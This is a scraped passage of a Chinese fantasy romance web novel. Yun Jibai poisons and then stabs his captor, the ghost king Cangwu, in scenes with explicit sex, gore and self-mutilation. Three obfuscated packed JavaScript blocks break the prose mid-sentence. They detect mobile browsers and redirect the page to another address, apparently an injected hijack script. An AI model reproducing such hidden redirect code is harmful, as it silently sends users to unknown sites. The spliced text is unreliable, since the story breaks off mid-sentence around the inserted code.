;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16909377|192422||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在这时,一股熟悉的、带着幽冥特有寒冽的气息,悄无声息地弥漫而至,如同无形的网,将他轻轻笼罩。 云霁白身体几不可查地一僵,迅速将玉瓶藏入袖中。他深吸一口气,再抬眼时,那双原本盈满恨意与冰冷的银眸,竟硬生生被他逼出了几分水光,眼尾微微泛红,带着一种脆弱易碎的委屈。 苍梧的身影在暗处凝聚,玄衣白发,紫眸深沉,正静静地看着他。 “怎么坐在这里?”苍梧的声音依旧低沉,却比平日少了几分冷硬。 云霁白没有立刻回答,只是微微侧过身,留给苍梧一个显得单薄落寞的侧影,声音轻软:“在想你为什么不来找我。” 云霁白的话如同一根刺狠狠扎进他的心里,苍梧眸光微动,走上前,在他身旁停下。阴影笼罩下来,带着压迫感,却也带着独属于他的冰冷气息。 云霁白趁机抬起头,眸中水色潋滟,他伸出手,轻轻拽住了苍梧玄色衣袖的一角,力道很轻,带着依赖,又像是怕被拒绝般小心翼翼。 “鬼王哥哥,这几日为什么不来找我?”他低声抱怨,语气里掺着恰到好处的嗔怪与失落,“是不是……不想见我了?” 太假了,他自己都不相信,前几天还恨不得杀了苍梧,转眼却温柔相待,反问苍梧为什么不来。 情绪转变的太突兀,是个人都会觉得有猫腻。 苍梧却不觉得,心甘情愿走进云霁白设下的甜蜜陷阱里:“阿渊,还记得上一次你这样唤我是为了什么吗?” 云霁白的笑容僵在脸上。 苍梧盯着他的眼睛,“上一次你这样唤我,是为了逃跑。” 云霁白立刻装出生气的模样,声音在心虚中不自觉提高:“你不是说让我喊你鬼王哥哥么?现在我喊了你又不乐意,你真难伺候,你不愿意听,我以后再也不喊了。” 苍梧垂眸,看着那只拽住自己衣袖的手,又对上那双似乎盛满了生气的眸子,紫眸深处掠过一丝极其复杂的暗芒。 他没有抽回手,也没有靠近,只是淡淡道:“没有。” 不知道这两个字什么意思,但箭在弦上,不得不发,云霁白硬着头皮继续演下去,声音隐隐带上哭腔:“一见面你就这样凶我,亏我都不计较你那样粗暴的对待我,还想你想的吃不下饭。” 苍梧瞥了一眼桌上一口未动的魄:“是本王不好,忽略了你。本王陪你吃饭?” “好,那你像从前那样喂我好不好?”他努力让自己的眼神看起来纯粹而带着一丝讨好的意味,汗几乎将整个手心浸湿。 静默了片刻。 殿内的空气仿佛凝固了。 就在云霁白几乎要以为被他看穿,心脏快要跳出胸腔时,苍梧却缓缓伸手,端起了盛着魄的玉盏。 他的指尖擦过云霁白的皮肤,带着一如既往的冰凉。 然后,在云霁白屏息的注视下,苍梧轻轻将魄吸入口中,喉结上下滚动,似乎将魄吞入腹中。 玉盏从他手中滑落,在地上发出清脆的碎裂声。 苍梧的目光重新落回云霁白脸上,紫眸幽深得像不见底的寒潭,里面翻涌着云霁白看不懂的情绪。他抬手,冰凉的指腹轻轻抚过云霁白因紧张而微颤的眼尾,动作带着一种近乎珍重的温柔。 “这一次喊我……”他唇边染血低声问,声音沙哑,“是为了杀我吗……” 云霁白怔怔地看着他,看着他难受到近乎扭曲的表情,预想中大仇得报的快意并未立刻涌现,反而有一股莫名的的寒意,顺着脊椎悄然爬升。 他下意识地摇头,嘴角扯出一个有些僵硬的弧度。 苍梧的指尖在他眼尾停留了片刻,最终缓缓收回。他深深看了云霁白一眼,那眼神似乎要将此刻他强装欢颜的模样刻入心底。 苍梧没再多言,转身,玄色的身影如同来时一般,悄无声息地融入殿内的阴影之中,消失不见。 留下云霁白独自一人,站在原地,袖中的手紧紧攥起,指尖深深陷入掌心,却感觉不到丝毫疼痛。只有那颗疯狂跳动的心脏,和仿佛坠入了更深处迷雾的不安与茫然。 他成功了。 可为何……心里却空落得厉害? 24.毒药 接下来的几天,云霁白每日都会寻来各式各样的借口,用他自己都觉得拙劣的演技,捧着那盛满剧毒的玉瓶,送到苍梧面前。 有时是假借“赔罪”,眼神闪烁,语气僵硬;有时是故作“关心”,指尖微颤地将药瓶递出,说着连自己都不信的对身体好之类的话。 他的表演漏洞百出,每一个不自然的笑容,每一次躲闪的目光,都清晰地映在苍梧深不见底的紫眸中。 可苍梧什么也没说。 他只是静静地看着云霁白努力扮演着虚情假意的角色,然后,在他紧张期盼的注视下,接过云霁白每一次递来的东西,一点不剩地喝完或吃下。 随着瓶中毒液一日日减少,苍梧的脸色也越来越苍白,近乎透明,那身磅礴的鬼气也似乎变得滞涩不稳。偶尔,云霁白甚至能捕捉到他转身时身体细微颤抖。 看着这样的苍梧,云霁白心中的恨意,一寸寸消减。可取而代之的,并非快意,而是一种莫名的、越来越尖锐频繁的刺痛,像是有根无形的线缠绕在心脏上,随着苍梧每一次隐忍的闷咳而被狠狠拉扯。 他告诉自己,这是大仇得报前的必然过程。 可心底深处,却有一个微弱的声音在质疑:这真的是他想要的吗? 苍梧始终沉默。 他承受毒药蚀骨的疼痛,却依旧贪婪地透过水镜,凝视着那个在恨意与迷茫间挣扎的身影。他在等待,等待一个连他自己都不知道会是什么结果的结局。 终于,那一日到来。 最后一口毒液,顺利被苍梧喝下。空了的玉瓶从云霁白手中脱落,摔在地上,发出清脆而刺耳声音,仿佛某种维系着平衡的弦,也随之绷断。 云霁白脸上所有的温顺和讨好,在刹那间褪得干干净净。他站直了身体,眼神冰冷,如同覆着寒霜,居高临下地看着因毒性深入骨髓而单膝跪地勉强支撑着身体的苍梧。 苍梧的嘴角不断溢出黑色的血液,那血液滴落在地,腐蚀了地面。他周身的气息紊乱不堪,原本深邃的紫眸也黯淡了许多,显然是中毒已深,灵力正在被急速侵蚀。 “疼吗?”云霁白开口,声音里没有半分温度,只有积压了太久、终于得以释放的怨恨与快意。 苍梧抬手,用指腹抹去唇边的黑血,看着那抹刺目的颜色,他竟然低低地笑了起来。那笑声沙哑,带着血气,却莫名透着令人心头发寒的温柔和满足。 “不疼。”他抬起头,望向云霁白,那双因中毒而略显涣散的紫眸,此刻却亮得惊人,里面翻涌着近乎疯狂的深情,“你给的就算是毒药也是甜的。” 他微微喘息着,继续道:“阿渊,你知道吗,每天听见你对我说甜言蜜语,那怕是哄我,”他重复眼中是毫不掩饰的贪恋,“我都要开心死了。” “如果每天都能让你对我笑脸相迎,喝点毒药,又算得了什么?” 云霁白彻底愣在原地,浑身的血液仿佛在这一瞬间冻结。他看着那个即使身中剧毒、命悬一线,却依旧执着于他虚伪笑意的苍梧,只觉得寒意遍布全身。 “疯子……” 他半晌才从齿缝里挤出这两个字,声音带着自己都未察觉的颤抖。 听到这个词,苍梧脸上的笑容反而更深了,带着一种破碎而妖异的美。他猛地咳嗽起来,又吐出大口黑血,强撑着,用尽最后力气,从地上摇晃着站起身。 他一步一顿地走向云霁白,步伐踉跄。在云霁白尚未反应过来之际,他猛地伸出手臂,紧紧箍住了他的腰身,将两人之间的距离拉近。 “对,我是疯子……” 苍梧的气息灼热而混乱,喷洒在云霁白颈侧,“千年前就疯了。” 话音未落,他猛地低头,精准地吻上因震惊而微张的唇! 这是一个带着血腥味的吻。 粗暴,绝望,却又蕴含扭曲到极致的爱恋。 血液染红他们的唇瓣,带着铁锈般的腥甜和死亡的气息。云霁白僵硬地承受着,大脑一片空白,只能感受到那紧紧禁锢着他的手臂,不容拒绝的掠夺,以及唇上冰冷的触感。 苍梧仿佛要用这个吻,将所有的痛苦,所有无法言说的痴狂,都烙印进他的灵魂深处。 一吻终了,苍梧的力气仿佛耗尽,他靠在云霁白肩上,呼吸微弱,声音轻得如同梦呓:“阿渊,留在我身边,哪都不要去。” 云霁白呆呆地站在那里,唇上还残留着那带血的触感,以及那令人作呕的血腥味。他看着怀中气息奄奄却依旧执着地抓着他衣襟的苍梧,心中的恨意、茫然、刺痛……所有情绪轰然炸开,最终只剩下一片无声的空白。 他赢了。 他成功复仇了。 可为何他感觉自己像坠入了一个更深、更冷的深渊? 冰凉的泪水无意识夺眶而出。 他的身体再次违背了他的意愿。 苍梧轻轻抬起手,擦掉他脸上的泪水,柔声:“别哭,本王没事,等到毒素从体内排出去就好了。” 悲伤氛围瞬间烟消云散,云霁白一把推开苍梧,冷脸道:“你真难杀。” 苍梧轻笑:“辛苦鬼后多杀几次了。” 云霁白厌恶道:“疯子,滚。” 苍梧道:“最起码,你会因为我的死而落泪,你心里还是有我的对吧?” 云霁白冷笑:“没有,沙子进眼睛了而已。” 苍梧吧唧在云霁白脸上亲了一口,然后原地消散了。那毒确实对他有用,只会让他虚弱,并不会致命。 他不能让其他人察觉到他的虚弱。 他需要在一个安静的地方疗伤。 云霁白愣愣地看着空掉的怀抱,心中升起被戏耍的恼意,为了解气,他在心中骂了苍梧千百遍,这个疯子!骗子! “鬼后,小的给您找来了新的点心,要不要尝尝?” 若辰小心翼翼地推门而入,手里端着看起来很美味诱人的食物。 云霁白深吸一口气,强行压下怒火,脑中飞快地闪过在幽冥阁某本古老传记上看到的信息——麒麟刃,鬼界异宝,用尸油日夜浸泡,对人无害,对鬼物有极强的克制作用,重创鬼后,伤口会有强烈的灼烧感,且永久性无法愈合,即便是鬼王之尊,受其一击也会让魂体受创。 一个恶毒的念头迅速钻入他的脑海,既然毒不死,那就换其他方法。 他面上不动声色,甚至勉强挤出一丝疲惫的笑容,状似无意地旁敲侧击:“放那吧,我等会在吃——你还记得那日我们在幽冥阁中找到一本古籍,上面记载着许多鬼界异宝,其中有一个叫麒麟刃……这是真的吗?” 若辰不疑有他,老老实实地回答:“回鬼后,麒麟刃乃是凶器,被三头鬼犬看守,只有鬼王才有资格使用。” 三头鬼犬就是有三个头的地狱犬,脾气火爆,嗜血如命,只有鬼王能制服他们,他们也只臣服于鬼王。 “这样啊……”云霁白拿起桌上的点心吃了起来,“你先下去吧,我现在有些累了,想休息。” 若辰点头退下,出了门后,把云霁白打探麒麟刃的消息迅速飞音传给鬼王苍梧。彼时,苍梧正在密室运功逼毒,得到这个消息后,嘴角勾起苦涩的弧度,看来他的小凤凰真是铁了心要杀他啊。 苍梧之间生出紫色火焰,两指之间的黄纸符瞬间化为灰烬,他唤:“若影。” 若影闻声而至,提着魂灯恭恭敬敬跪在苍梧身前:“属下在,请问大人有何吩咐。” 苍梧道:“鬼后要去取麒麟刃,你在身后跟着,保护好鬼后。” 若影道:“麒麟刃是至阴至邪之物,鬼后要那玩意有何用呢……”他从若辰口中得知鬼后用毒毒杀鬼王的事,担心鬼后要麒麟刃是为了刺杀鬼王。 苍梧道:“不管他用来干什么,你护好他便是。” 若影道:“若是拿到麒麟刃,鬼后用来行刺您怎么办?” 他就不明白,鬼后为何不肯相信鬼王,明明事实摆在眼前,鬼后还是觉得是鬼王杀了至亲。 苍梧仿佛看穿他心中所想:“他是个独立的灵魂,他有选择相信或者怀疑的权利,信或不信,本王都甘愿承受。” 他们鬼都没有心,不会明白心甘情愿的感觉。 若影犹豫道:“大人,鬼界还需要您,鬼后之位谁,谁都可以胜任。鬼界没了您,秩序将会陷入前所未有的混乱,您断不可用自己的性命……” 苍梧冷着脸打断他:“够了,滚下去。” “是,属下遵命。” 若影退下后,苍梧因气急攻心,毒素攻身,气息不稳,再次吐出一口黑血,他捂着自己的心口,难受的蹙着眉,可是……本王没了凤渊便会不完整。 他离不开凤渊,就像鬼界离不开他。 这世上再也没有一个人,会让他觉得拥有了自己才会完整。 待若辰离开后,云霁白取出了那枚能通行鬼界诸多禁地的幽冥令。 他带着幽冥令,悄然潜入千魂壁。 一路没见到几个游魂,过程比他想象的还要顺利,那些沉睡的凶兽似乎并未被完全唤醒,反应在幽冥令的照耀下也显得十分无害。 不敢相信,他就那么轻易地取走了散发着不祥寒气的麒麟刃。 麒麟刃握在手心里,带来特别不真切的感觉。太顺利了,顺利到就好像有人在为他刻意铺路。 当然顺利了,若影接下苍梧的命令,暗中保护云霁白,替云霁白扫清了一切障碍。 这一切云霁白都不知道,他得手离开后,若影的身影悄无声息出现在漆黑的拐角里,匆匆赶往苍梧疗伤的密室。 若影回去复命:“鬼王,鬼后顺利取得麒麟刃。” 密室中,苍梧脸色依旧苍白,正闭目调息。闻言,他缓缓睁开眼,紫眸中掠过一丝了然。 “我知道了,”他声音低哑,带着一丝不易察觉的疲惫,“你下去吧。” 若影欲言又止:“缓和关系的方式不止这一种。所有生物与生俱来的天性是繁衍,世间万物,阴阳相济。死亡是人的结束,新生是鬼的开始。您完全可以在鬼后体内种下鬼胎……有了血脉牵绊,为了后代安危,他不得不留在鬼界,求您的庇护。” “闭嘴,”苍梧呵斥,“你知道,在人间,什么人才会用这种方式把人困在身边吗?” 若影立即跪在地上:“属下愚昧,不知。” “无能之人。” “下去。”苍梧冷冷道,“本王贵为一界之主,何须用这种下三滥的手段把人捆在身边。” 那是他和凤渊之间的事,不应有第三者掺和。而且就算凤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16915484|192422||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 渊真的会有他的孩子,也不应该是在这种情况下怀上。 他希望他们的孩子是爱与承诺的延续,是两个灵魂共鸣后对未来的共同期许。而不是在猜忌、强迫与算计中,成为一个为了留住而存在的工具,一个将凤渊与另一个灵魂被动捆绑的枷锁。 凤渊是独立的灵魂,是去是留……应是他说了算。 若影最终还是躬身退下。 数日后,苍梧伤势稍稳,回到幽冥殿。 云霁白一反常态,没有冷眼相对,反而主动迎了上去。他穿着单薄的衣裳,长袍曳地,领口微敞,露出精致的锁骨,脸上带着一种刻意营造的羞涩与大胆的神情。 “你身上的毒素都排出去了吗?”他轻声问,指尖似有若无地划过苍梧的胸膛,然后滑落下去,勾住苍梧的腰带向里面走。 苍梧紫眸幽深地看着他,没有错过他眼底深处竭力隐藏的紧张与决绝。他不动声色,任由云霁白将他引向床榻。 “本王,安好。” “鬼后今日格外热情,”苍梧坐在床榻上,眼神带着一丝玩味,仿佛在欣赏一场精心排演的戏剧。 云霁白深吸一口气,鼓足勇气,跨坐在苍梧身上:“当然是庆祝鬼王大人大难不死。” 这个姿势大胆而暧昧,让他脸颊绯红,心跳如雷,但他强迫自己维持着镇定。他俯下身,主动吻上苍梧的唇,生涩却努力地撩拨。 苍梧的身体瞬间僵硬,随即化被动为主动,加深了这个吻,一手按住他的后颈,一手圈住他纤瘦的腰肢,带着不容抗拒的力道。 气息交缠,温度升高,寝殿内的气氛变得旖旎而危险。 苍梧贪恋这个吻的温柔,神情痴迷,极近疯狂:“阿渊,叫一声鬼王哥哥,叫一声,本王命都给你。” 云霁白眼里闪过一丝清醒。 苍梧湿热的气息喷洒在耳畔,渴望道:“叫一声吧,阿渊,叫一声吧,你叫的好听死了。” 云霁白没说话,一把推倒苍梧,自己仍保持着骑在苍梧身上的动作。苍梧衣衫凌乱,抚摸着云霁白的腰肢,痴狂火热的眼神几乎要将云霁白吞掉。 云霁白也被他眼中的痴迷惊了一瞬,也只有一瞬,他开始脱苍梧的衣服,主动亲吻苍梧,甚至主动牵着苍梧的手摸向自己最脆弱的地方。 这动作做起来得心应手,仿佛他早就这样跟苍梧做过。苍梧摸着越来越湿润的地方,嘴里仍旧呢喃着:“叫一声吧,叫一声吧,本王喜欢死了。” 云霁白牵起苍梧的手,用衣服把他两只手拴在床头,为保苍梧不会挣脱,特地系了死结。他坐在苍梧身上,居高临下看着苍梧,仍旧一言不发。 苍梧也不挣扎,痴痴地望着云霁白:“阿渊,你好主动,本王好喜欢。” 云霁白扶住苍梧,主动坐下去,然后因为不适应整个身体瘫软在苍梧身上。苍梧双眼赤红:“让本王来,好阿渊,快放了本王。” 云霁白咬着牙,也不知道是不是在跟自己较劲:“闭嘴。” 他自己上下动了三下,彻底没了力气。 仅仅三下就让苍梧血脉偾张:“好阿渊,快放了本王,你不会,让本王来。” 苍梧真的觉得自己要幸福死了,双眼猩红,翻涌的情欲足够将云霁白吞噬。 就在意乱情迷,苍梧完全放松警惕的这一刻—— 云霁白眼中寒光一闪,一直藏在袖中的麒麟刃瞬间滑入掌心!他没有丝毫犹豫,用尽全身力气,对准苍梧心脏的位置,狠狠刺了下去! “噗嗤——” 利刃穿透血肉的声音沉闷而清晰。 苍梧所有的动作瞬间停滞,眼里却猩红依旧。 他缓缓低下头,看着没入自己胸膛的麒麟刃,刀身正散发着克制鬼气的幽光。鲜血喷涌而出,迅速染红了他的身体以及身下凌乱的床单。 他再抬起头,看向依旧跨坐在他身上,脸色煞白,眼神狠决的云霁白。 没有震惊,没有愤怒,苍梧的紫眸中,反而浮现出云霁白无法理解的,近乎悲伤的平静。 暧昧氛围瞬间骤降,压抑到极点。 啪嗒啪嗒—— 鲜血滴在苍梧的眼上,又顺着眼尾滑落,像是苍梧流出的血泪。但苍梧知道,那不是他的血。 是云霁白的血。 云霁白猛地咳嗽起来,殷红的血沫从他嘴角溢出。他茫然地抬起手,看着指尖那抹刺目的鲜红,心中没有大仇得报的快意,只有撕心裂肺的疼痛。 好疼,真的好疼。 为什么会那么疼。 他的心为什么会那么疼。 苍梧猛地挣开束缚,迅速坐起来,将呆滞的云霁白完全压在身下,狠狠堵住正在发抖的唇:“留在我身边,这一切,我心甘情愿承受。” 冰冷的刀柄抵着云霁白的胸膛,而刺进苍梧身里的尖锐的刀刃又没进去一寸。血腥味在唇齿间,在寝殿里,彻底蔓延开来。 凌乱的黑发与银发在染血的床褥间纠缠,难分彼此,如同他们之间早已理不清的爱恨痴缠,痛入骨髓,至死难休。 若这是唯一能让你记住我的方式…… 若这是唯一能让我们之间还有牵连的方法…… 那么…… 我甘之如饴。 25.内心 云霁白握着麒麟刃坐在凌乱的床上,空洞的目光顺着地上的血迹看到门外,脑海中不断闪现苍梧临走时伤心的眼神。 麒麟刃刺穿了苍梧的身体。 可是,为什么他的心会那么疼?为什么他没有大仇得报的快意? 为什么……云霁白抱着被子,把充满暧昧痕迹的身体藏进被子里,仿佛这样就不会再受到外界的伤害。 灵魂深处还残留着不适与颤栗,心口难以言喻的剧痛与之交织在一起。恨意与一种陌生的酸涩的情感疯狂撕扯着他,让他无所适从。 他是不是做错了? 这个念头刚一冒出来,就被他强行压了下去。他亲眼所见,是苍梧害死了他的父母,他报仇雪恨,天经地义! 可为何,苍梧临走时的那个眼神,会让他如此不安?甚至心痛? 为什么! 到底为什么! 就在他被混乱思绪折磨得几乎要崩溃时,殿外隐约传来了若辰焦急的声音:“鬼后,鬼后您怎么样?今日我带了一种新的好吃的点心……您要不要尝一尝?” 云霁白开口,声色沙哑:“放那吧,我现在不想吃。” 若辰小心翼翼问:“鬼后跟鬼王吵架了吗?我来的时候看见鬼王离去,鬼王的脸色不太好。” 云霁白云霁白蜷缩在床榻深处,将脸埋进沾染着苍梧气息的锦被中,声音闷闷地传出,带着未散的沙哑和一丝不易察觉的颤抖:“只是脸色不太好?” 地上那么多血都是苍梧的,床上的被褥大半都被血染湿,流了那么多血,苍梧怎么可能只是脸色不太好。 “鬼后您好好休息,点心我放在门口了——待您想吃点心了,一定要喊我。”若辰的声音带着担忧,却也不敢多问,脚步声渐渐远去。 殿内重归死寂。 云霁白维持着蜷缩的姿势,一动不动。 “亲眼所见……” 他在心里反复告诉自己,试图用这个理由加固摇摇欲坠的恨意。是的,他亲眼看到苍梧杀了他的父母,杀亲之仇,不共戴天。 他报仇,是天经地义! 可为什么,当这个理由在脑海中响起时,苍梧那双平静到近乎悲伤的紫眸,总会不合时宜地浮现?那眼神像一根尖锐的针,精准地刺入他心脏最柔软的地方,带来一阵阵不可忽视的刺痛。 为什么没有快意?为什么只有这无边无际的空洞和仿佛要将他撕裂的疼痛? 他甚至开始贪婪地汲取被褥间残留的苍梧的气息。这气息曾经让他抗拒,让他愤怒,可在此刻,却带给他一丝安心与慰藉。 “为什么……” 他再次无声地问自己,指甲深深掐入掌心,试图用□□的疼痛来掩盖心底更加汹涌的无措。 身体的记忆是那样鲜明,苍梧拥抱的温度,落在他肌肤上滚烫的吻,以及那强硬的不容拒绝的占有,这一切都与仇人的身份如此矛盾,如此割裂。 恨意是真的。 让他无所适从的酸涩与心痛,似乎也是真的。 他到底怎么了? 难道…… 一个他不敢深想的念头,如同藤蔓,悄然缠绕上他的心脏—— 难道他对苍梧,除了恨,还掺杂了别的连他自己都无法面对,无法承认的情感? 这个认知让他感到一阵恐慌。他猛地摇头,像是要甩掉这荒谬的想法,将自己更深地埋进被子里,仿佛这样就能逃避一切。 他挡住了身体,却挡不住自己的思想。 总是忍不住的去想苍梧现在的情况,是重伤,还是死了。 苍梧没死,但也跟死了没区别。 他呆在黑暗的密室里,熟练的撕开被刺伤的皮肤,麒麟刃留下的伤害是不可逆的,无论他怎么撕皮肤,重新生成的皮肤都会留下狰狞丑陋的痕迹。 好丑。 小凤凰会不喜欢。 苍梧开始自虐一般,一次又一次撕开自己的皮肤,鲜血的味道弥漫开来,泄露的鬼气顺着缝隙飘出去,引来无数小鬼痴迷的嗅着甜美的气息。 鬼王身上浓厚的鬼气对他们来说就像美味的魄,让鬼无法自拔的上瘾。 甜美中带着危险的味道,无数个小鬼开始猜疑。 “这气息……上一次闻到的时候,还是鬼王受到重伤的时候。” “难不成鬼王受伤了?” “这次鬼王没有任何通知,是不是证明这次伤的很严重,怕引起万鬼骚动,所以没有……” “嘻嘻……那我们就可以造反了……嘻嘻……早就受够了他的统治,都是鬼,凭什么他就要高我们一等?” 若影冰冷的声音响起:“你们聚集在此干什么?”手中提着长鞭,鞭子盘在地上,好像盯上猎物伺机而动的毒蛇。 被那鞭子抽一下就会魂飞魄散。 小鬼们不敢造次,一哄而散。原地留下那个喊造反的小鬼,目光狰狞看着若影。 若影问:“你还有什么问题?” 小鬼道:“鬼王重伤,他现在都控制不住自己的鬼气,让鬼气乱泄,定是伤的非常严重。我们若召集万鬼,以及十殿阎罗……我们联手,在鬼王最虚弱的时候彻底杀死他。” 若影轻笑一声,眼里似乎带着动容。 小鬼咧嘴一笑,露出一口锯齿尖牙:“怎么样?要不要合作?” 若影抬手,长鞭挥舞出去,掀起凌厉的鞭风,毒蛇出洞,咬住小鬼命脉。 魂飞魄散的那瞬间,头顶传来若影冰冷的声音:“背叛者的下场只有死路一条。” 若影慢条斯理收了鞭子,擦了擦上边的血痕,留下一个警告的眼神,推开密室的门,走了进去。 打开门的瞬间,浓郁的血腥味扑面而来,若影差一点都要干呕,鬼都受不了,更不用说人了。 躁动的鬼气将他包裹,怪不得万鬼今日躁动的那么厉害。 苍梧背对着他盘腿坐在地上,疯狂地说着:“好丑、好丑、好丑、好丑……会吓到小凤凰……” 腿边是散落的鲜血淋漓的皮肤碎片,甚至一小部分身体本应该是光滑的肌肤,此刻却因苍梧陷入疯魔,而露出腾腾鬼气。 是苍梧的真身。 露出鬼气的地方正是胸口。 被麒麟刃刺伤的地方。 若影吓了一跳,立马冲上去,按住苍梧撕皮的手:“大人!” 苍梧麻木的抬起头,眉宇间都是被打扰的戾气:“放开!” 若影抓紧了苍梧的手:“麒麟刃留下的伤害本就是不可逆的!您不要再伤害自己了,鬼后、鬼后看见了会心疼的。” 心疼…… 小凤凰会心疼他吗? 会的。 小凤凰说过,爱人的第二步叫做心疼。 苍梧渐渐放弃了挣扎,空洞的眼眸看着若影:“退下吧,本王想一个人待一会儿。” 若影放开了对苍梧的钳制:“大人,您不要再受伤了,因为您的伤,最近万鬼躁动的厉害,他们感受到您的虚弱,开始蠢蠢欲动了。” 苍梧道:“那就杀了。” “鬼界不留有二心之鬼。” “遵命……”若影道,听听他们的鬼王是怎么说,有二心之鬼直接杀了,那鬼后呢?三番五次想杀鬼王,不仅得逞了,而且还没有受到任何惩罚。 这是仗着什么? 伟大的鬼王到底在想什么。 有什么比性命比鬼界还重要吗? 密室重归安静,苍梧看向若影,见他还不肯离去,蹙眉问:“还不退下?” 若影道:“属下不明,既然您那么在意鬼后,为何不向他说明一切,说开了,问题自然迎刃而解,何必两相纠缠,弄得你死我活呢。” “况且,鬼后不像不明是非之人。” 苍梧轻笑:“相信?那个卷轴是他自己留下的,看完之后,他相信了吗?” 他想起一百年前,凤渊进入轮回的前一个时辰,可能知道最后一个轮回会彻底忘记,凤渊争分夺秒用法术画出那个卷轴交到自己手上:“苍梧,如果轮回结束,我没有记起你,你记得把这个卷轴交给我,这上面的东西我一看便知。” 收到那个卷轴之后,苍梧就把卷轴锁在幽冥阁中了,因为他知道以凤渊的性格,只会信亲眼所见,并不会信这些虚的。 就像现在,他看了那个卷轴,非但没有记起,反而还更讨厌他了。 苍梧脸上的笑容带着苦涩,紫瞳深处情绪碎裂,罕见露出脆弱的一面,他的阿渊,轮回千年性格一直没变,只是……只是唯独把他忘了。 若影无话可说,他跟在苍梧身后的时间短,对于鬼后的事情并没有了解多少,只知道鬼界有个被鬼王捧在手心的人物的存在。 现在眼下更重要的不是这个,若影道:“过几日,仙界的人会再次到访鬼界,共同商议西南异兽的问题。鬼界的躁动我们可以平息,但,您的虚弱断不可让仙界的人发现。他们早就厌烦了您对鬼界的统治,想擅作主张替鬼界易主,碍于您的身份和天罚,才没有做。” 仙鬼两界,其实都对各自的统治者抱有不满。只是,仙界的人忌惮天罚,才没有明目张胆的表现出来;鬼界的鬼,只有苍梧非但不忌惮天罚,反而三番五次试探天罚的底线,把能做的不该做的,全都做了。 苍梧轻蔑一笑:“一群宵小之辈,能掀起什么大风大浪。给他们机会,他们也不中用。帮我随便找个借口,打发了便是。” “属下遵命。” “退下吧。” “属下告退。” 若影退出密室,转身去了幽冥殿,不是找鬼后,而是找若辰。若辰跟在云霁白左右,应该会知道云霁白跟鬼王之间发生了什么。 他找到若辰时,若辰端着一口未动的点心守在殿门口,想必是被鬼后赶出来的。若影提着魂灯,出现在若辰面前。 若辰吓了一跳,手中的魂灯飘摇了几下:“若影……” 若影嗯了一声:“鬼后不肯吃东西吗?” 若辰点头:“鬼王离开后,鬼后就没碰过这些点心。我问鬼后是不是跟鬼王吵架了,鬼后没有说。” 若影道:“没有?你确定吗?鬼王受伤了,”他指了指自己胸口的位置,“这里,被麒麟刃伤了。” 若辰道:“可是,可是鬼后跟鬼王已经结过鬼契,受的伤害会共享。我听见鬼后的声音正常,一点都不虚弱,不像受伤。” 他就知道鬼王不忍心让鬼后受伤,鬼王可以共享伤害,也可以一个人承受两个人的伤。 麒麟刃的伤本就是不可逆的,这下还要承受云霁白的那份! 若影问:“鬼后现在在干什么?” “在里面休息。” “我倒要看看鬼后有多大的本事,”若影准备推门而入。 若辰张开手臂挡在他前面:“不行,鬼后说了不允许旁人打扰。你不能进去。” 若影冷哼一声:“离开这里,我不想跟你动手。” 若辰道:“不要,你尊敬鬼王。这是鬼王认定的鬼后,你既然尊敬鬼王就要尊重鬼王认定的人,不然就是对鬼王不敬。” “让开,”若影空手变出魂鞭,“不要逼我对你动手,若辰。” “那你,那你让我魂飞魄散好了。”若辰决绝道,心里却想,希望动静闹得够大,惊动殿里的鬼后,不然他真的要死翘翘了哇。 若影握紧了魂鞭,咬着牙道:“你自找的。” “让他进来,”殿内传来云霁白的声音。 殿门无声地滑开,若影收起魂鞭,绕过挡在门前的若辰,面无表情地踏入寝殿。 若辰呆呆的守在门外,不敢进去,也不敢走远,微微松了口气,鬼后关键时刻还挺靠谱的。 殿内光线昏暗,空气中还弥漫着未散的血腥气与不明的檀腥味。 云霁白已披上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“那是因为……因为他……”云霁白语塞,脑海中闪过苍梧那双深沉的紫眸,闪过他默默承受一切的样子,心口的疼痛再次加剧,他猛地捂住胸口,喘息着……他竟然找不到话语反驳若影的话。 若影豁出去了,声音带着悲愤:“您的父母不是被鬼王杀死的,而是被仙界杀的。他们的魂魄现在置于安魂炉中修养……鬼王之所以不告诉您,是因为他怕您失望。他说,现在不告诉您,让您恨他,您还有活下去的动力。若是给您希望,又让您失望,您会更加伤心……他从未想过伤害您。” “卷轴上的内容也是真的,或许您不记得,那是您亲手所画,但有人记得,并且还预料到您不会相信卷轴。” “你胡说!”云霁白脑海里迅速闪过几个片段。 “苍梧,这卷轴给我看,到时候我会想起你。” “本王不需要。本王有信心让你再次爱上我,就像前十次那样。” 云霁白疯狂摇头,企图把这些不属于自己的记忆晃出去,他崩溃似的大吼:“我凭什么相信你的话?我又怎么知道你是不是骗我的?你说过任何人都能骗得过我。” “我本来就不属于这里!”云霁白红着眼,崩溃道,“是苍梧逼我来的,他用我爹娘的性命,甚至整个云家村的性命威胁我,让我留在他身边。” 